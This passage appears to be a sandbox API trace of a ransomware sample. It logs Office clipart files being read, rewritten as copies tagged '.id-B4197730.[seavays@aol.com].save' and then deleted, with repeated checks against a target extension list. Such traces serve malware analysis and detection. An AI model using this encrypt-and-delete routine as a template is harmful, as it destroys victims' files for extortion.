Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.972] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3840) returned 1 [0161.972] CloseHandle (hObject=0x344) returned 1 [0161.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0161.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.973] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.973] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0161.974] GetLastError () returned 0x0 [0161.974] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xf00, lpOverlapped=0x0) returned 1 [0161.976] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xf10, lpOverlapped=0x0) returned 1 [0161.977] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.977] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0161.977] SetEndOfFile (hFile=0x3a4) returned 1 [0161.978] CloseHandle (hObject=0x3a4) returned 1 [0161.978] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.978] SetEndOfFile (hFile=0x344) returned 1 [0161.980] CloseHandle (hObject=0x344) returned 1 [0161.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0161.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0161.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.982] lstrlenW (lpString=".doc") returned 4 [0161.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString=".docx") returned 5 [0161.982] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.982] lstrlenW (lpString=".pdf") returned 4 [0161.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString=".xls") returned 4 [0161.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.982] lstrlenW (lpString=".xlsx") returned 5 [0161.982] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.982] lstrlenW (lpString=".ppt") returned 4 [0161.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.982] lstrlenW (lpString=".zip") returned 4 [0161.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.982] lstrlenW (lpString=".rar") returned 4 [0161.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString=".bz2") returned 4 [0161.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString=".7z") returned 3 [0161.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.982] lstrlenW (lpString=".dbf") returned 4 [0161.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.983] lstrlenW (lpString=".1cd") returned 4 [0161.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.983] lstrlenW (lpString=".jpg") returned 4 [0161.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.983] lstrlenW (lpString=".doc") returned 4 [0161.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".docx") returned 5 [0161.983] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.983] lstrlenW (lpString=".pdf") returned 4 [0161.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".xls") returned 4 [0161.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.983] lstrlenW (lpString=".xlsx") returned 5 [0161.983] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.983] lstrlenW (lpString=".ppt") returned 4 [0161.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.983] lstrlenW (lpString=".zip") returned 4 [0161.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.983] lstrlenW (lpString=".rar") returned 4 [0161.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.994] lstrlenW (lpString=".bz2") returned 4 [0161.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.994] lstrlenW (lpString=".7z") returned 3 [0161.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.994] lstrlenW (lpString=".dbf") returned 4 [0161.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.994] lstrlenW (lpString=".1cd") returned 4 [0161.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0161.994] lstrlenW (lpString=".jpg") returned 4 [0161.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.994] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0161.994] lstrlenW (lpString="J0099183.WMF") returned 12 [0161.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.995] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4946) returned 1 [0161.995] CloseHandle (hObject=0x344) returned 1 [0161.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0161.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.996] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.996] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.005] GetLastError () returned 0x0 [0162.005] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1352, lpOverlapped=0x0) returned 1 [0162.328] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1360, lpOverlapped=0x0) returned 1 [0162.329] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0162.329] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0162.329] SetEndOfFile (hFile=0x3a4) returned 1 [0162.329] CloseHandle (hObject=0x3a4) returned 1 [0162.329] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.329] SetEndOfFile (hFile=0x344) returned 1 [0162.332] CloseHandle (hObject=0x344) returned 1 [0162.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0162.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.334] lstrlenW (lpString=".doc") returned 4 [0162.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.334] lstrlenW (lpString=".docx") returned 5 [0162.334] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.334] lstrlenW (lpString=".pdf") returned 4 [0162.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.334] lstrlenW (lpString=".xls") returned 4 [0162.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.334] lstrlenW (lpString=".xlsx") returned 5 [0162.334] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.334] lstrlenW (lpString=".ppt") returned 4 [0162.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.334] lstrlenW (lpString=".zip") returned 4 [0162.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.334] lstrlenW (lpString=".rar") returned 4 [0162.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.334] lstrlenW (lpString=".bz2") returned 4 [0162.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.334] lstrlenW (lpString=".7z") returned 3 [0162.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.334] lstrlenW (lpString=".dbf") returned 4 [0162.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.335] lstrlenW (lpString=".1cd") returned 4 [0162.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.335] lstrlenW (lpString=".jpg") returned 4 [0162.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.335] lstrlenW (lpString=".doc") returned 4 [0162.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString=".docx") returned 5 [0162.335] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.335] lstrlenW (lpString=".pdf") returned 4 [0162.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString=".xls") returned 4 [0162.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.335] lstrlenW (lpString=".xlsx") returned 5 [0162.335] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.335] lstrlenW (lpString=".ppt") returned 4 [0162.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.335] lstrlenW (lpString=".zip") returned 4 [0162.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.335] lstrlenW (lpString=".rar") returned 4 [0162.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString=".bz2") returned 4 [0162.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.335] lstrlenW (lpString=".7z") returned 3 [0162.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.336] lstrlenW (lpString=".dbf") returned 4 [0162.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.336] lstrlenW (lpString=".1cd") returned 4 [0162.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0162.336] lstrlenW (lpString=".jpg") returned 4 [0162.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.336] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0162.336] lstrlenW (lpString="J0099189.JPG") returned 12 [0162.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0162.337] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=8076) returned 1 [0162.337] CloseHandle (hObject=0x344) returned 1 [0162.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0162.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0162.338] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.338] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.338] GetLastError () returned 0x0 [0162.338] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0162.340] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1f90, lpOverlapped=0x0) returned 1 [0162.341] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0162.341] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0162.341] SetEndOfFile (hFile=0x3a4) returned 1 [0162.342] CloseHandle (hObject=0x3a4) returned 1 [0162.342] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.342] SetEndOfFile (hFile=0x344) returned 1 [0162.345] CloseHandle (hObject=0x344) returned 1 [0162.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0162.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.346] lstrlenW (lpString=".doc") returned 4 [0162.346] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.346] lstrlenW (lpString=".docx") returned 5 [0162.346] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0162.346] lstrlenW (lpString=".pdf") returned 4 [0162.346] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.346] lstrlenW (lpString=".xls") returned 4 [0162.346] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.346] lstrlenW (lpString=".xlsx") returned 5 [0162.346] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0162.346] lstrlenW (lpString=".ppt") returned 4 [0162.346] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.346] lstrlenW (lpString=".zip") returned 4 [0162.346] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.346] lstrlenW (lpString=".rar") returned 4 [0162.346] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.346] lstrlenW (lpString=".bz2") returned 4 [0162.346] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.346] lstrlenW (lpString=".7z") returned 3 [0162.346] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.347] lstrlenW (lpString=".dbf") returned 4 [0162.347] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.347] lstrlenW (lpString=".1cd") returned 4 [0162.347] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.347] lstrlenW (lpString=".jpg") returned 4 [0162.347] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.347] lstrlenW (lpString=".doc") returned 4 [0162.347] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString=".docx") returned 5 [0162.347] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0162.347] lstrlenW (lpString=".pdf") returned 4 [0162.347] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".xls") returned 4 [0162.347] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".xlsx") returned 5 [0162.347] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0162.347] lstrlenW (lpString=".ppt") returned 4 [0162.347] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.347] lstrlenW (lpString=".zip") returned 4 [0162.347] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".rar") returned 4 [0162.347] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".bz2") returned 4 [0162.347] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString=".7z") returned 3 [0162.348] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.348] lstrlenW (lpString=".dbf") returned 4 [0162.348] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.348] lstrlenW (lpString=".1cd") returned 4 [0162.348] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0162.348] lstrlenW (lpString=".jpg") returned 4 [0162.348] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.348] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0162.348] lstrlenW (lpString="J0099190.JPG") returned 12 [0162.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0162.349] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=43892) returned 1 [0162.349] CloseHandle (hObject=0x344) returned 1 [0162.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0162.350] GetFileAttributesW 